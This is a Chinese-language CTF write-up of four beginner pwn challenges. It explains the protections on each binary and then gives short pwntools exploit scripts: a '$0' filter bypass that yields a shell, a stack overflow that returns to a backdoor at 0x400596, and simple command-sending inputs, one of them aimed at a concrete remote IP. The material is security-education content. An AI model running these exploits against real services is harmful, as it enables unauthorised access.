一、sandbox
先下载文件
将文件放进虚拟机中查看一下
发现是一个64位程序,并且开启Canary和NX保护
简单介绍一下 #本段内容取至其他博主
NX保护机制:将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
Stack保护机制:在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致。
我们继续,将程序丢入IDA64中查看一下main函数
发现一个叫box的函数,进去看一看
发现buf不能输入sh cat flag 但又要给buf赋值来执行system命令得到权限
这里我也不会,看了WP发现是给buf输入$0
懂的人可以评论说一下 蟹蟹~
明白之后编写脚本
from pwn import * r =remote("120.46.59.242", 2117) payload='$0' r.sendline(payload) r.interactive()
然后运行脚本
得到flag
二、creeper
老规矩,下载丢进虚拟机看一下(下载就不截图了)
ELF 64位程序,并且只开启了NX保护
丢进IDA64看一下main函数
看到了一个叫game的函数,双击进去看一下
发现关键信息 system("cat flag");
当buf长度等于15的时候就会执行system("cat flag");
话不多说开干
脚本如下:
from pwn import * r =remote("ip", port) r.recvuntil('Creeper?') r.send('a'*15)
运行后得到FLAG
三、简单溢出
听名字就猜一下,应该是简单的栈溢出
丢进虚拟机看一下
ELF文件,64位程序,开启了NX保护机制
现在进入IDA64 查看一下
就一个输入? 我们在找找看 shift+F12查看一下字符串
看看发现了啥! /bin/sh 这可是个好东西呢
双击看一下位置
跟到fact函数中再看看
经典到不能再经典的后门函数了
记录一下该函数的内存地址 0x400596
然后记录一下偏移量 0x30+8
为啥是0x30+8因为已经标志出来了 [rbp-30]
至于后面的+8 是因为这是64位程序,要是32位就+4
好了偏移量和函数地址都记录了,开搞把
from pwn import * r =remote("ip", port) sys_addr=0x400596 padding=0x30+8 payload=b'a' * padding + p64(sys_addr) r.sendline(payload) r.interactive()
然后运行脚本,cat flag得到flag
四、system
老规矩不说了,虚拟机 先file 然后checksec一下
ELF 文件,64位程序,Canary保护,NX保护
然后进IDA
shift+F12 发现没有 /bin/sh 只能老老实实去看一下main函数了
有时我真的怀疑这是认真的么,直接发送cat flag 字符串即可
编写脚本
from pwn import * r =remote("ip", port) payload=b'cat flag' r.sendline(payload) r.interactive()
运行后得到flag